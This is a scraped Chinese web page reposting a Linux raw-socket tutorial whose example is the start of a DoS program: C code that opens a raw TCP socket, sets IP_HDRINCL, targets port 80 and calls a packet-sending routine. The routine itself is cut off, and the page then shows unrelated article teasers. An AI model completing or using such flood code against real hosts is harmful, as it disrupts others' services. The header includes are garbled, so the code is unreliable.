Linux原始網絡編程,Linux操作系統網絡編程 原始套接字 (1)

Linux操作系統網絡編程--原始套接字 (1)

http://soft.zdnet.com.cn/software_zone/2007/1020/568223.shtml

我們在前面已經學習過了網絡程序的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章 里面我們一起來學習另外一種套接字--原始套接字(SOCK_RAW)。應用原始套接字,我們可以編寫出由TCP和UDP套接字不能夠實現的功能. 注意原始套接字只能夠由有root權限的人創建。

原始套接字的創建

int sockfd(AF_INET,SOCK_RAW,protocol)

可以創建一個原始套接字.根據協議的類型不同我們可以創建不同類型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.詳細的情況查看 下面我們以一個實例來說明原始套接字的創建和使用

一個原始套接字的實例

還記得DOS是什么意思嗎?在這里我們就一起來編寫一個實現DOS的小程序. 下面是程序的源代碼

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define DESTPORT 80 /* 要攻擊的端口(WEB) */

#define LOCALPORT 8888

void send_tcp(int sockfd,struct sockaddr_in *addr);

unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)

{

int sockfd;

struct sockaddr_in addr;

struct hostent *host;

int on=1;

if(argc!=2)

{

fprintf(stderr,"Usage:%s hostnamena",argv[0]);

exit(1);

}

bzero(&addr,sizeof(struct sockaddr_in));

addr.sin_family=AF_INET;

addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)

{

host=gethostbyname(argv[1]);

if(host==NULL)

{

fprintf(stderr,"HostName Error:%sna",hstrerror(h_errno));

exit(1);

}

addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);

}

/**** 使用IPPROTO_TCP創建一個TCP的原始套接字 ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);

if(sockfd<0)

{

fprintf(stderr,"Socket Error:%sna",strerror(errno));

exit(1);

}

/******** 設置IP數據包格式,告訴系統內核模塊IP數據包由我們自己來填寫 ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/**** 沒有辦法,只用超級護用戶才可以使用原始套接字 *********/

setuid(getpid());

/********* 發送炸彈了!!!! ****/

send_tcp(sockfd,&addr);

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/534431.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/534431.shtml
英文地址,請注明出處:http://en.pswp.cn/news/534431.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

linux上pyenv卸載,在Ubuntu 18.04系統下安裝pyenv的方法

本文介紹在Ubuntu 18.04操作系統下安裝pyenv的方法&#xff0c;使用它可以進行Python多版本管理&#xff0c;目的是防止不同的Python版本因為不兼容而出現錯誤。安裝pyenv其實非常的簡單&#xff0c;只需要在系統終端中運行一條命令即可&#xff0c;以下是操作方法&#xff0c;…

linux防火墻作用是什么,Linux防火墻操作1

什么是防火墻防火墻可通過監測、限制、更改跨越防火墻的數據流&#xff0c;盡可能地對外部屏蔽網絡內部的信息、結構和運行狀況&#xff0c;以此來實現網絡的安全保護。簡單來講 就是防止外界通過網絡攻擊Linux服務器的一個軟件本次學習目標&#xff1a;防火墻的啟停&#xff0…

linux中touch命令的作用,Linux中touch命令的作用是什么

今天微子網絡向你展示了觸摸命令在Linux中的功能。內容簡潔易懂&#xff0c;一定會讓你眼前一亮。希望通過這篇文章的詳細介紹&#xff0c;你能有所收獲。linux的Touch命令不常用&#xff0c;但在使用make時可能會用到&#xff0c;make用于修改文件時間戳或創建一個不存在的新文…

linux打jar包xml文件,springboot打jar包部署外置配置文件

一、讀取配置文件的優先級默認&#xff1a;Jar包同級目錄的config目錄Jar包同級目錄classPath(即resources目錄)的config目錄classpath目錄最高優先級的方式是項目啟動時通過命令的方式指定項目加載核心配置文件&#xff0c;命令如下java –jar xxxx.jar -Dspring.config.locat…

linux將視頻導入到iphone,如何將 IPhone 的文件導入 Linux

如何將 IPhone 的文件導入 Linux完全免費方案。方法一&#xff1a; 使用 Koder 的 Local File Access 功能這方法不需要在 Linux 端做任何配置。IPhone 端安裝 koder進入應用 Koder點擊右下角的 Settings進入 Local File Access選擇 Enable Local File Access你可以看到一個鏈接…

lede 自定義linux,OpenWrt 和 LEDE 宣布正式合并

OpenWrt 和 LEDE 項目已在官網正式宣布合并&#xff0c;合并后的項目仍用 OpenWRT 命名。合并后的 OpenWrt 項目將按照 LEDE 制定的規范進行管理。原有的 LEDE 和 OpenWrt 項目的活躍成員將繼續在合并后的 OpenWrt 上工作。LEDE 項目是 OpenWrt 的一個衍生項目&#xff0c;曾被…

centos系統linux復制命令行,linux系統CentOS7中find命令使用

一、作用查找文件或目錄二、參數(常用)-atime 查找在指定時間曾被存取過的目錄或文件&#xff0c;單位以24小時計算。(訪問時間&#xff0c;執行文件等)-ctime 查找指定時間曾被更改的目錄或文件&#xff0c;單位以24小時計算。(文件權限&#xff0c;用戶組等等)-mtime 查看指定…

舊衣回收小程序搭建有什么優勢?

今年以來&#xff0c;舊衣回收行業分外火熱&#xff0c;不斷有創業者進入到市場中&#xff0c;其中不乏有年輕人&#xff0c;足以可見行業的火爆。 我國是人口大國&#xff0c;每個人閑置的衣物加在一起的數量難以計算&#xff0c;舊衣回收行業具有巨大的發展空間。 此外&…

c語言程序兔子反之問題,C語言解決兔子產子問題代碼及解析

有一對兔子&#xff0c;從出生后的第3個月起每個月都生一對兔子。小兔子長到第3個月后每個月又生一對兔子&#xff0c;假設所有的兔子都不死&#xff0c;問30個月內每個月的兔子總數為多少&#xff1f;問題分析兔子數的規律&#xff0c;如下表所示&#xff1a;月數小兔子對數中…

c語言程序設計數據存儲方案,c語言程序設計“第02章數據的存儲及運算.ppt

[Return] 第2章 數據的存儲與運算 2.1 常量和變量 2.2 整型數據 2.3 實型數據 2.4 字符型數據 2.5 符號常量 2.6 算術運算符和算術表達式 2.7 C運算符和C表達式 [Return] 2.1 常量和變量 1 什么是常量&#xff1f; 在程序運行過過程中其值值不變變的量。 2 什么是變量&#xff…

6位密碼鎖的c語言編程,51單片機4*3矩陣鍵盤6位密碼鎖c語言程序

滿意答案#include#include#define uchar unsigned charuchar key;int i0;char b[4]{0,0,0,0};//輸入的密碼放這里和初始的比較來判斷是否密碼正確void keyscan()//掃描按鍵是否按下{uchar temp;P30xfe;//掃描第一行tempP3;temptemp&0xf0;if(temp!0xf0)//判斷按鍵是否按下{d…

c語言fork()創建線程,操作系統的創建原語是fork()還是creat()?

滿意答案MythSwift2013.09.10采納率&#xff1a;55% 等級&#xff1a;12已幫助&#xff1a;9461人一個進程就相當于一個主線程。fork一個進程與create一個線程的區別:fork進程:子進程復制父進程的進程環境。父進程結束不會影響子進程的運行。進程切換復制進程環境。create線…

android 最新 support,android support v7 下載-android support.v7包 官方最新版 - 河東下載站...

android support v7是一款功能非常實用的android在進行開發的過程中&#xff0c;必須要進行使用的一個包&#xff1b;這款軟件作為一個功能非常全面的功能包&#xff0c;也是目前為止最新的功能包&#xff0c;是您這使用Android開發的時候&#xff0c;非常重要的一環&#xff1…

android aar jar制作,AndroidStudio aar、jar生成及其引用

aar生成新建項目&#xff0c;并在項目中新建Library module&#xff1a;banner&#xff0c;如圖&#xff1a;在新建Module中編寫完代碼后&#xff0c;build整個工程后就會自動生成aar包&#xff0c;包的路徑在新建Module 》 build 》outputs >aar目錄下&#xff1b;aar引用在…

android 點擊側滑代碼,代碼分析Android實現側滑菜單

Android 側滑菜單的實現&#xff0c;參考網上的代碼&#xff0c;實現側滑菜單。最重要的是這個動畫類UgcAnimations&#xff0c;如何使用動畫類來側滑的封裝FlipperLayout。1、實現效果2、動畫類UgcAnimationspackage com.mmsx.base;import android.content.Context;import and…

鴻蒙系統年底問世視頻,鴻蒙系統年底問世 什么時候上市使用

鴻蒙系統年底問世具體哪一天&#xff1f;自從華為鴻蒙操作系統被曝光后&#xff0c;大家對鴻蒙操作系統可謂是期待已久&#xff0c;鴻蒙操作系統具體什么時間上線&#xff0c;并沒有具體的時間通知。但有消息稱&#xff0c;“鴻蒙”手機將年底問世&#xff0c;初期主要面向中低…

android怎么設置適配器,Android之自定義實現BaseAdapter(通用適配器三)

在上一篇中&#xff0c;我們說過&#xff0c;在setData中如果有很多控件的話&#xff0c;我們還是要在該方法中寫入很多代碼&#xff0c;為了降低開發的方便性&#xff0c;本次就在此基礎上再一次優化。實現原理是這樣的&#xff0c;每次在setData中都要查找控件&#xff0c;然…

html游戲怎么編輯器,HTML的編輯器使用

使用 Notepad 或 TextEdit 來編寫 HTML可以使用專業的 HTML 編輯器來編輯 HTML&#xff1a;Adobe DreamweaverMicrosoft Expression WebCoffeeCup HTML Editor(推薦學習&#xff1a;HTML入門教程)不過&#xff0c;我們同時推薦使用文本編輯器來學習 HTML&#xff0c;比如 Notep…

html5中如何自動跳轉頁面,實現HTML5上滑跳轉頁面的兩種方法

方法一&#xff1a;jquery方法movePage($(body));function movePage(dom) {var startY, moveY, moveSpave;dom.on("touchstart", function(e) {startY e.originalEvent.touches[0].pageY; return startY;});dom.on("touchmove", function(e) {moveY e.or…

鴻蒙系統hifi,Apple Music將迎來重大更新 HiFi無損音質即將上線?

原標題&#xff1a;Apple Music將迎來重大更新 HiFi無損音質即將上線&#xff1f;前不久有媒體報道稱&#xff0c;蘋果將在當地時間5月18日推出HiFi版AppleMusic服務&#xff0c;新服務將為Apple Music用戶提供無損的流媒體音樂&#xff0c;滿足HiFi用戶對高音質的追求。而在近…